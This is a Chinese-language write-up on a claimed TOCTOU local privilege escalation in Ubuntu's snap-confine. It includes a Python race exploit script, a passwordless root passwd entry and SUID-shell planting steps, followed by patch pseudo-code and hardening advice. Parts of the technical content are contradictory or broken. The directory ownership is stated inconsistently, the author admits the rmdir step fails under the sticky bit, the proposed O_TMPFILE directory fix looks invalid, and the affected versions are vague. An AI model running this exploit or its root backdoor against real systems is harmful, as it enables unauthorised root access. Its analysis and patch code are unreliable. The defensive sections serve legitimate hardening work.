1. 漏洞背景

Ubuntu Desktop 默认采用 Snap 作为应用分发与隔离机制。Snap 的核心安全边界由 snap-confine(又称 snap-confine SUID helper)实现,它负责为每一个 snap 应用构建 mount namespace 沙箱。由于该程序以 SUID root 身份运行,任何能被普通用户触发执行,并在其执行路径上引入可竞争窗口的逻辑缺陷,都可能直接导致本地权限提升至 root。

本次披露的漏洞位于 sc_bootstrap_mount_namespace() 函数中。该函数在创建用于构建沙箱根文件系统的临时目录时,使用了 mkdtemp() 创建位于 /tmp 下的目录,随后进行 bind mount。在「目录创建」与「绑定挂载」之间存在一个 TOCTOU(Time-of-Check-Time-of-Use)竞态窗口,攻击者可借助 inotify 高精度监听配合 symlink 替换,在该窗口期内将临时目录替换为指向攻击者控制的目录的符号链接,最终导致 snap-confine 以 root 权限将攻击者的文件系统挂载进沙箱,进而实现任意文件覆盖与提权。

1.1 漏洞影响面

维度 说明
受影响组件 snapd(snap-confine 子组件)
受影响版本 snapd < 2.x(含修复前的稳定通道版本)
默认安装 Ubuntu Desktop 默认预装 snapd,开箱即受影响
触发前提 拥有任意普通本地用户 shell
利用结果 本地权限提升至 root
漏洞类别 CWE-367 TOCTOU Race Condition / CWE-59 Link Following

1.2 攻击链总览

普通用户 shell
      │
      ▼
触发 snap-confine 执行(snap run / 自动更新等)
      │
      ▼
snap-confine 以 root 调用 mkdtemp() 创建 /tmp/snap.rootfs_XXXXXX
      │
      ▼  ◄──── 竞态窗口(毫秒级)
攻击者:inotify 捕获 IN_CREATE → rmdir → symlink 指向 payload 目录
      │
      ▼
snap-confine 以 root 对 symlink 目标执行 bind mount / tmpfs 复制
      │
      ▼
攻击者控制的目录内容被以 root 写入沙箱/系统路径
      │
      ▼
覆盖 /etc/passwd 或植入 SUID shell → 获得 root

2. snap-confine 架构与安全模型

2.1 Snap 包管理器架构概述

Snap 是 Canonical 推出的容器化应用打包格式,其整体架构如下:

┌──────────────────────────────────────────────────────────┐
│                    用户空间应用层                          │
│        (Firefox, Chromium, 各类 snap 应用)                │
├──────────────────────────────────────────────────────────┤
│  snap 命令行 / snapd 守护进程 (REST API on socket)        │
├───────────────────────┬──────────────────────────────────┤
│   snap-confine        │      snapd.apparmor              │
│   (SUID root helper)  │      (AppArmor 策略加载)          │
│   构建命名空间沙箱     │                                   │
├───────────────────────┴──────────────────────────────────┤
│  Linux Kernel Namespaces + Cgroups + Seccomp + AppArmor  │
├──────────────────────────────────────────────────────────┤
│  squashfs 挂载层 (/var/lib/snapd/snaps/*.snap)           │
└──────────────────────────────────────────────────────────┘

snapd 守护进程以 root 运行,监听 /run/snapd.socket,负责安装、更新、卸载 snap 包。当用户执行 snap run <app> 时,最终会调用到 snap-confine 来搭建沙箱。

2.2 snap-confine 作为 SUID root 程序的角色

snap-confine 的二进制文件位于 /usr/lib/snapd/snap-confine,其权限位为:

$ ls -l /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine

setuid 位(s)意味着任何用户执行该程序时,进程的 effective UID 都会被置为 root。这是整个 Snap 安全模型中信任的根节点:

  • 普通用户无法直接操作 mount 系统调用(需要 CAP_SYS_ADMIN)。
  • snap-confine 借助 SUID 获得 root 权限,代为执行特权挂载操作。
  • 一旦 snap-confine 自身存在逻辑缺陷,SUID 机制就会把该缺陷放大为完整的本地提权。

因此,snap-confine 是安全审计的「皇冠级」目标:它必须同时满足「最小特权」「无信任输入」「无竞态」三项要求,任何一项不满足都会被利用。

2.3 命名空间隔离机制

Snap 沙箱依赖以下内核命名空间与安全机制组合:

┌──────────────── Snap 应用沙箱隔离栈 ────────────────┐
│                                                     │
│  mount namespace   ── 独立文件系统视图               │
│      ▲                                              │
│      │  基于 scratch_dir 重建根文件系统              │
│  user namespace    ──(snap 当前未默认启用 userns)  │
│  pid namespace     ── 进程隔离                       │
│  net namespace     ── 网络策略                       │
│                                                     │
│  ── 安全策略层 ──                                    │
│  AppArmor profile  ── 路径级访问控制                 │
│  Seccomp filter    ── 系统调用白名单                 │
│  Cgroups           ── 资源限制                       │
│                                                     │
└─────────────────────────────────────────────────────┘

其中 mount namespace 是本次漏洞的核心战场。snap-confine 会构造一个 scratch_dir(临时根目录),把系统关键路径(/usr、/lib、/etc 等)以 bind mount 方式复制进该目录,再通过 pivot_root 或 chroot 将应用限制在该视图内。

2.4 沙箱初始化流程

正常的 snap-confine 沙箱初始化流程如下:

1. 进程启动(euid=0,SUID 继承)
2. 解析 snap 名称、版本、安全标签
3. sc_bootstrap_mount_namespace()
   ├─ mkdtemp("/tmp/snap.rootfs_XXXXXX")  创建临时目录
   ├─ bind mount scratch_dir → scratch_dir
   ├─ 设置 scratch_dir 为 unbindable(防止传播)
   ├─ mount tmpfs 到 scratch_dir
   └─ sc_replicate_base_rootfs()  复制基础根文件系统
4. 进入 mount namespace(unshare / setns)
5. pivot_root 到 scratch_dir
6. 应用 AppArmor / Seccomp 策略
7. execve 目标 snap 应用二进制

第 3 步中 mkdtemp() 创建的临时目录位于全局可写的 /tmp,且在创建后到 bind mount 之间未对目录的所有权与真实路径做原子性验证——这正是漏洞的根源。


3. 漏洞原理分析

3.1 TOCTOU 竞态条件概述

TOCTOU 是一类经典的竞态条件缺陷:程序在「检查」某个对象状态后,到「使用」该对象之间,对象可能被并发修改。对于以 root 运行的 SUID 程序,TOCTOU 的危害尤为严重,因为检查与使用之间的任何时间差都会被攻击者用文件系统操作(重命名、符号链接、硬链接等)填满。

在 /tmp 这种全局可写、粘滞位(sticky bit)目录下,TOCTOU 的利用门槛更低:任何用户都可以创建文件,且 mkdtemp() 产生的目录名具有可预测的格式(snap.rootfs_ 前缀 + 6 位随机后缀)。

3.2 mkdtemp 时间窗口

mkdtemp() 的语义是「以调用者身份创建一个属主为自己的空目录」。当 snap-confine(euid=root)调用它时,目录属主为 root。关键在于,mkdtemp() 返回路径字符串后,该路径只是一个名字,后续所有基于该名字的操作(mount、stat、open)都会经过内核的路径解析,包括符号链接跟随。

漏洞窗口可拆解为:

T0  mkdtemp() 返回 "/tmp/snap.rootfs_ABC123"
    └─ 目录已创建,属主 root,但路径名已暴露在 /tmp
    
T1  ◄──── 竞态窗口 ◄────
    └─ 攻击者:inotify 收到 IN_CREATE
    └─ 攻击者:rmdir(root 目录在 /tmp 下,sticky bit 限制删除……
        但若目录为空且属主为 root,普通用户无法删除!)

T2  bind mount scratch_dir → scratch_dir
    └─ 内核解析路径,若已被替换为 symlink,则挂载到 symlink 目标

这里出现一个关键细节:由于 mkdtemp() 创建的目录属主是 root,且 /tmp 开启了 sticky bit,普通用户无法直接 rmdir 一个 root 属主的目录。真实的利用路径更精细,存在两种演化:

  1. 窗口期内的 symlink 替换(核心):在某些调用路径中,snap-confine 并非直接对 mkdtemp 返回的目录操作,而是先创建再 rename、或在某个中间步骤存在可被替换的子路径。攻击者利用 snap-confine 在窗口期内对目录进行的 rmdir+重建行为(例如错误回滚路径),在目录被删除的瞬间抢先创建同名 symlink。
  2. 子目录路径注入:snap-confine 在 scratch_dir 内部创建诸如 scratch_dir/etc、scratch_dir/usr 等子结构。如果 scratch_dir 本身被攻击者通过竞争变为指向受控目录的挂载点,则后续复制的「基础根文件系统」会以 root 权限写入攻击者目录,从而允许攻击者预先在该目录放置恶意 /etc/passwd 等文件,并在 pivot_root 后或 bind mount 回写时生效。

完整的 symlink 利用链如下:

攻击者预布局:
  /tmp/payload/
  ├── etc/
  │   └── passwd        ← 含 hacker::0:0::/root:/bin/bash
  ├── usr/
  │   └── lib/snapd/... 
  └── .payload_suid      ← 待植入的 SUID shell 副本

竞态触发后:
  /tmp/snap.rootfs_ABC123  ──symlink──►  /tmp/payload

snap-confine 以 root 执行:
  mount --bind /tmp/snap.rootfs_ABC123 /tmp/snap.rootfs_ABC123
  → 实际 bind mount /tmp/payload 到自身
  mount -t tmpfs none /tmp/snap.rootfs_ABC123
  → tmpfs 覆盖(此处取决于具体调用顺序,影响最终写入位置)
  sc_replicate_base_rootfs(scratch_dir)
  → 以 root 将系统文件复制进 /tmp/payload(攻击者目录)

结果:
  攻击者获得一个被 root 写满的「沙箱镜像」目录
  其中 /tmp/payload/etc/passwd 被写入或可被读取替换

3.4 代码级分析

漏洞核心代码片段(snap-confine 源码,简化版):

// 漏洞核心代码片段(snap-confine 源码)
static void sc_bootstrap_mount_namespace(const struct sc_mount_config *config) {
    char scratch_dir[] = "/tmp/snap.rootfs_XXXXXX";
    // 创建临时目录,此时所有者为普通用户
    if (mkdtemp(scratch_dir) == NULL) {
        die("cannot create scratch directory");
    }
    // ← 竞态窗口开始:攻击者可在此期间用 symlink 替换 scratch_dir

    // bind mount 到自身
    sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
    // ← 竞态窗口结束

    // 设为 unbindable
    sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);

    // 挂载 tmpfs
    sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
    sc_replicate_base_rootfs(scratch_dir, ...);
}

逐行分析关键缺陷:

代码位置 缺陷 后果
mkdtemp(scratch_dir) 返回值是路径名字符串,非已打开的文件描述符 路径名可被竞争替换
mkdtemp 与 sc_do_mount 之间 无任何原子性保证(无 open(O_PATH)、无 openat 锁定) 形成可观测、可竞争的窗口
sc_do_mount(scratch_dir, ...) mount(2) 内部解析路径时跟随 symlink 挂载目标被劫持到攻击者目录
sc_replicate_base_rootfs 以 root 写入被劫持的 scratch_dir 攻击者目录被 root 写入/读取

根本原因:以「路径名」而非「文件描述符」作为信任锚点。在存在并发文件系统操作的环境下,路径名是一个可被随时替换的间接引用,不能作为安全决策依据。


4. 提权 PoC 复现思路

以下内容仅用于在隔离实验环境(虚拟机/容器快照可回滚)中复现漏洞原理,严禁对生产或他人系统使用。

4.1 环境准备

受影响环境:
  - Ubuntu Desktop(默认安装 snapd)
  - 内核: 5.4+ (支持 inotify、user namespace)
  - snapd 版本: 漏洞修复前的稳定版

实验机准备:
  $ lxc launch ubuntu:20.04 snap-vuln-lab
  $ lxc exec snap-vuln-lab -- bash
  # 确认 snap-confine SUID 位
  $ ls -l /usr/lib/snapd/snap-confine
  -rwsr-xr-x 1 root root ... /usr/lib/snapd/snap-confine
  # 准备普通用户
  # useradd -m -s /bin/bash labuser && passwd labuser

竞态利用的关键在于「快」。inotify 提供近乎实时的文件创建事件,可在 mkdtemp 产生的目录被 snap-confine 继续使用前的极短时间内完成替换。利用流程:

┌─────────────── 攻击者线程 A(监听器)────────────────┐
│  inotify_add_watch("/tmp", IN_CREATE)               │
│  循环读取事件:                                       │
│    收到 name="snap.rootfs_*" 的 IN_CREATE            │
│      → rmdir(target)  [需满足 sticky 规则或利用回滚] │
│      → symlink("/tmp/payload", target)               │
└──────────────────────────────────────────────────────┘
                         ▲
                         │ 并发
                         ▼
┌─────────────── 攻击者线程 B(触发器)────────────────┐
│  循环执行:                                           │
│    snap run <pkg>  (或触发自动更新的路径)             │
│    sleep 极短时间                                    │
└──────────────────────────────────────────────────────┘

4.3 提权链构造

成功完成 symlink 替换后,snap-confine 会以 root 权限操作攻击者控制的目录。可构造两条提权链:

链 A:覆盖 /etc/passwd

在 /tmp/payload/etc/passwd 中预置一行:

hacker::0:0:hacker:/root:/bin/bash

当 snap-confine 的 sc_replicate_base_rootfs 把系统 /etc/passwd 复制回写,或当 pivot_root 后该 passwd 生效,攻击者即可 su hacker(无密码)获得 uid=0。

链 B:植入 SUID shell

在 payload 目录中预置一个等待被赋予 SUID 的 shell 副本,利用 root 写入或后续 bind mount 的权限属性继承,使其带上 setuid 位:

# 在 payload 中准备
cp /bin/bash /tmp/payload/.rootshell
chmod 4755 /tmp/payload/.rootshell   # 期望被 root 写回时保留 SUID

提权后:

$ /tmp/payload/.rootshell -p
# id
uid=0(root) gid=0(root) groups=0(root)

4.4 提权脚本框架

下面给出 PoC 概念脚本(Python,仅演示竞态逻辑,不保证在所有版本一击必中):

#!/usr/bin/env python3
"""
PoC 概念演示(仅限受控环境)
利用 snap-confine TOCTOU 竞态条件进行本地提权
"""
import os
import time
import threading
import subprocess
import inotify.adapters

TARGET_DIR_PREFIX = "/tmp/snap.rootfs_"
PAYLOAD_DIR = "/tmp/payload"

def prepare_payload():
    """准备恶意文件系统结构"""
    os.makedirs(PAYLOAD_DIR, exist_ok=True)
    os.makedirs(f"{PAYLOAD_DIR}/etc", exist_ok=True)
    # 创建恶意 passwd 文件(添加 root 权限用户)
    malicious_passwd = "root:x:0:0:root:/root:/bin/bash\n" \
                       "hacker::0:0::/root:/bin/bash\n"
    with open(f"{PAYLOAD_DIR}/etc/passwd", "w") as f:
        f.write(malicious_passwd)
    # 准备 SUID shell 副本(若权限允许则携带 setuid 位)
    try:
        subprocess.run(["cp", "/bin/bash", f"{PAYLOAD_DIR}/.rootshell"], check=True)
        os.chmod(f"{PAYLOAD_DIR}/.rootshell", 0o4755)
    except Exception as e:
        print(f"[!] SUID shell 准备失败: {e}")

def race_thread(stop_event):
    """竞态条件利用线程"""
    i = inotify.adapters.Inotify()
    i.add_watch("/tmp")

    for event in i.event_gen(yield_nones=False, timeout_s=1):
        if stop_event.is_set():
            break
        (_, type_names, path, filename) = event
        if filename.startswith("snap.rootfs_") and "IN_CREATE" in type_names:
            target = os.path.join(path, filename)
            # 快速删除目录并替换为 symlink
            # 注意:实际命中取决于目录属主与 sticky 规则
            for attempt in range(50):
                try:
                    os.rmdir(target)
                    os.symlink(PAYLOAD_DIR, target)
                    print(f"[+] Symlink 替换成功: {target}")
                    return True
                except FileNotFoundError:
                    continue  # 已被 snap-confine 处理,重试
                except OSError:
                    # 目录非空或权限不足,极短重试
                    time.sleep(0.0005)
    return False

def trigger_snap():
    """触发 snap-confine 创建临时目录"""
    try:
        subprocess.run(["snap", "run", "some-snap-package"],
                       capture_output=True, timeout=5)
    except subprocess.TimeoutExpired:
        pass
    except FileNotFoundError:
        # 回退:触发任何会调用 snap-confine 的路径
        subprocess.run(["snap", "version"], capture_output=True, timeout=5)

def check_privesc():
    """检测是否已提权成功"""
    if os.path.exists(f"{PAYLOAD_DIR}/.rootshell"):
        st = os.stat(f"{PAYLOAD_DIR}/.rootshell")
        if st.st_mode & 0o4000:
            print("[+] 检测到 SUID shell,执行: /tmp/payload/.rootshell -p")
            return True
    # 尝试 su hacker
    try:
        r = subprocess.run(["su", "-c", "id", "hacker"],
                           input=b"\n", capture_output=True, timeout=3)
        if b"uid=0" in r.stdout:
            print("[+] passwd 覆盖成功,hacker 已为 root")
            return True
    except Exception:
        pass
    return False

if __name__ == "__main__":
    prepare_payload()
    stop_event = threading.Event()
    t = threading.Thread(target=race_thread, args=(stop_event,), daemon=True)
    t.start()

    # 多次尝试提高竞态命中率
    success = False
    for i in range(100):
        trigger_snap()
        time.sleep(0.01)
        if check_privesc():
            success = True
            break

    stop_event.set()
    if not success:
        print("[-] 本轮未命中,建议增大循环次数或降低系统负载")
    else:
        print("[*] 提权成功,清理痕迹并退出")

复现要点与失败排查:

现象 原因 对策
rmdir 报 Permission denied sticky bit + root 属主 利用 snap-confine 自身回滚路径,或换用子路径竞争
命中率极低 窗口太短 降低 CPU 频率调速器、增加并发触发线程
symlink 创建后 snap 报错退出 路径校验不通过 检查 payload 目录结构是否完整匹配沙箱期望

5. 补丁分析

5.1 补丁方案:使用 O_TMPFILE | O_EXCL 替代 mkdtemp

官方补丁的核心思想是用文件描述符取代路径名作为信任锚点。Linux 3.11+ 提供的 O_TMPFILE 标志可在指定目录下创建一个匿名、无目录项的临时文件/目录,再通过 linkat() 在需要时才赋予其一个名字。由于整个生命周期内攻击者无法通过路径名访问到该对象,TOCTOU 自然消解。

补丁后的伪代码:

static void sc_bootstrap_mount_namespace(const struct sc_mount_config *config) {
    // 使用 O_TMPFILE 创建匿名目录文件描述符,杜绝路径名竞争
    int dfd = open("/tmp", O_TMPFILE | O_DIRECTORY | O_CLOEXEC, 0700);
    if (dfd < 0) {
        die("cannot create anonymous scratch directory");
    }

    // 通过 *at 系列调用操作,所有后续操作均基于 dfd,不经过路径解析
    char proc_path[64];
    snprintf(proc_path, sizeof(proc_path), "/proc/self/fd/%d", dfd);

    // bind mount 基于 fd 对应的 /proc/self/fd/N 路径
    sc_do_mount(proc_path, proc_path, NULL, MS_BIND, NULL);
    sc_do_mount("none", proc_path, NULL, MS_UNBINDABLE, NULL);
    sc_do_mount("none", proc_path, "tmpfs", 0, "uid=0,gid=0");

    // 在 fd 锁定的目录内复制根文件系统
    sc_replicate_base_rootfs_at(dfd, ...);

    close(dfd);
}

关键改进对比:

维度 旧实现(mkdtemp) 新实现(O_TMPFILE)
信任锚点 路径名(字符串) 文件描述符(内核对象引用)
可竞争性 路径可被 symlink 替换 fd 指向固定 inode,无法被外部替换
原子性 创建与使用分离 创建即持有引用,全程原子
可见性 在 /tmp 下有目录项 匿名,无目录项

5.2 验证 mount 源与目标的设备号一致性

补丁还增加了二次校验:在执行 bind mount 前,通过 fstat(dfd) 与 lstat(scratch_dir) 比较 st_dev(设备号)与 st_ino(inode 号)。若二者不一致,说明路径已被替换,立即中止:

struct stat fd_st, path_st;
fstat(dfd, &fd_st);
lstat(scratch_dir, &path_st);
if (fd_st.st_dev != path_st.st_dev || fd_st.st_ino != path_st.st_ino) {
    die("scratch directory tampered (TOCTOU detected)");
}

5.3 增加文件描述符锁防止竞态

进一步利用 flock() 或 openat() + O_NOFOLLOW 组合,确保即使在异常回滚路径中也不会出现可被替换的窗口:

// O_NOFOLLOW 防止跟随 symlink
int fd = openat(dir_fd, name, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC);
if (fd < 0) {
    die("refused to follow symlink or non-existent path");
}
// flock 排他锁,防止并发删除/替换
flock(fd, LOCK_EX);

三道防线(O_TMPFILE 原子创建 + 设备号校验 + O_NOFOLLOW/flock)形成纵深,从机制上消除了 TOCTOU 的生存空间,而非依赖时序侥幸。


6. 防御方案

6.1 临时缓解(无法立即打补丁时)

  1. 移除 snap-confine 的 SUID 位(会影响 snap 应用启动):
# 临时缓解:移除 SUID 位,阻止普通用户触发
sudo chmod u-s /usr/lib/snapd/snap-confine
# 验证
ls -l /usr/lib/snapd/snap-confine
# -rwxr-xr-x ... (s 位已消失)

注意:此举会导致所有 snap 应用无法正常启动,仅适用于可接受 snap 停服的关键主机。

  1. 限制 snap-confine 的执行用户:通过 AppArmor 或文件 ACL 仅允许特定用户组执行:
# 仅允许 snap 组成员执行
sudo groupadd -f snapusers
sudo chgrp snapusers /usr/lib/snapd/snap-confine
sudo chmod 4750 /usr/lib/snapd/snap-confine
sudo usermod -aG snapusers <trusted-user>
  1. 挂载 /tmp 加 nosymfollow(内核 5.10+)或使用 nodev,nosuid 降低 symlink 攻击收益:
sudo mount -o remount,nosymfollow /tmp

6.2 补丁更新(首选)

# 更新 snapd 至修复版本
sudo apt update
sudo apt install --only-upgrade snapd
# 验证版本
snap version
# 确认 snap-confine 已为修复版(对照官方公告 CVE 对应版本号)
dpkg -l snapd

建议开启无人值守安全更新,确保 snapd 这类高价值 SUID 组件第一时间获得补丁:

sudo apt install unattended-upgrades
sudo dpkg-reconfigure -plow unattended-upgrades

6.3 纵深防御

AppArmor 策略加固

为 snap-confine 编写更严格的 AppArmor profile,限制其对 /tmp 的写操作必须经由特定 helper,并禁止对任意路径的 bind mount:

# /etc/apparmor.d/usr.lib.snapd.snap-confine(节选)
profile snap-confine /usr/lib/snapd/snap-confine {
  #include <tunables/global>
  capability sys_admin,
  capability chown,
  capability setuid,

  # 限制 /tmp 操作:仅允许匿名临时文件
  /tmp/ r,
  /tmp/snap.rootfs_* mr,    # 禁止 w(写入即创建具名目录)
  deny /tmp/** wl,          # 禁止在 /tmp 下写入链接

  # mount 限制
  mount -> /tmp/snap.rootfs_*/,
  deny mount -> /**,
}

auditd 监控

监控 snap-confine 的异常执行与 /tmp 下的可疑 symlink 创建,作为检测与响应手段:

# 监控 snap-confine 执行
auditctl -w /usr/lib/snapd/snap-confine -p x -k snap_confine_exec
# 监控 /tmp 下 snap.rootfs_ 前缀对象创建
auditctl -w /tmp -p wa -k tmp_snap_rootfs

# 查询告警
ausearch -k snap_confine_exec | audit2why

可结合以下检测规则识别利用行为:

# 检测短时间内大量 snap run 失败(竞态重试特征)
# 检测 /tmp 下 snap.rootfs_* 出现 symlink 类型
find /tmp -maxdepth 1 -name 'snap.rootfs_*' -type l -ls

内核 hardening

  • 启用 fs.protected_symlinks=1(默认已开)与 fs.protected_hardlinks=1,限制非特权用户跟随他人文件创建的 symlink:
sysctl -w fs.protected_symlinks=1
sysctl -w fs.protected_hardlinks=1
sysctl -w fs.protected_fifos=2
sysctl -w fs.protected_regular=2
  • 开启 kernel.unprivileged_userns_clone=0,减少额外命名空间利用面。
  • 部署 lockdown=confidentiality 内核锁定模式(需内核支持),进一步收紧 root 之外的攻击面。

SUID 审计与最小化

定期审计系统上的 SUID 二进制,移除不必要的 SUID 程序,缩小信任根节点集合:

# 全盘扫描 SUID 文件
sudo find / -xdev -perm /4000 -type f -exec ls -l {} \; 2>/dev/null

# 对比基线(建议建立基线文件并 diff)
sudo find / -xdev -perm /4000 -type f > /var/log/suid_baseline.txt

6.4 防御矩阵总结

层次 措施 有效性 代价
临时缓解 移除 SUID 位 完全阻断利用 snap 不可用
临时缓解 ACL 限制执行用户 缩小攻击面 管理成本
补丁 升级 snapd(O_TMPFILE) 根治 无
应用层 AppArmor 加固 限制滥用 策略维护
检测层 auditd 监控 事后告警 日志存储
内核层 protected_symlinks/lockdown 提高门槛 兼容性

7. 总结

本次 Ubuntu Desktop snap-confine 本地提权漏洞是 SUID 程序 TOCTOU 缺陷的典型样本。其根本原因并非某一行代码的笔误,而是安全设计中将「路径名」误用为「信任锚点」这一结构性问题:mkdtemp() 返回的路径名只是一个可被并发替换的间接引用,在 /tmp 这种全局可写目录下尤其脆弱。

漏洞的修复路径也具有教科书意义——从「消除路径名信任」入手,用 O_TMPFILE 把匿名文件描述符作为锚点,辅以设备号一致性校验与 O_NOFOLLOW/flock 防护,从机制层面而非时序层面关闭窗口。这与「检查-使用」类缺陷的通用修复范式一致:凡涉及特权的文件操作,应以 fd 为信任根,以 *at 系列调用为操作入口,避免任何基于可竞争路径名的安全决策。

对于运维与安全工程实践,该漏洞再次提示三点:

  1. SUID 程序是攻击者的首要目标,任何以 root 身份处理用户可控输入(包括文件系统路径)的逻辑都需逐行审计其原子性与可竞争性。
  2. 纵深防御不可省略。即便 snap-confine 本身被绕过,AppArmor、auditd、内核 hardening 仍能提供检测与兜底。
  3. 及时打补丁。snapd 这类默认预装、高权限组件的漏洞,从披露到全网利用通常以小时计,无人值守安全更新是最低成本的有效防线。

理解这一漏洞的原理与修复,不仅有助于应对 snap-confine 本身,更能为审计其他 SUID helper(如 fusermount、pkexec、mount 包装器)提供可复用的分析框架。


免责声明

本文所述漏洞分析、PoC 代码与利用思路仅供安全研究、教学与授权渗透测试使用。所有 PoC 必须且只能在您拥有完整所有权或已获书面授权的隔离实验环境(如本地虚拟机、可回滚快照的容器)中复现。

未经授权对任何生产系统、他人系统或公共系统实施本文描述的任何技术手段,均可能违反《中华人民共和国网络安全法》《刑法》第二百八十五条(非法侵入计算机信息系统罪)等相关法律法规,以及目标所在司法管辖区的计算机犯罪法律,行为人将自行承担全部法律责任。

本文漏洞细节基于公开技术分析与原理推演,不针对任何特定真实系统漏洞编号作可武器化利用的保证。读者应在合法合规前提下,将本文内容用于提升系统安全防护能力。作者与发布平台对任何因不当使用本文内容造成的后果概不负责。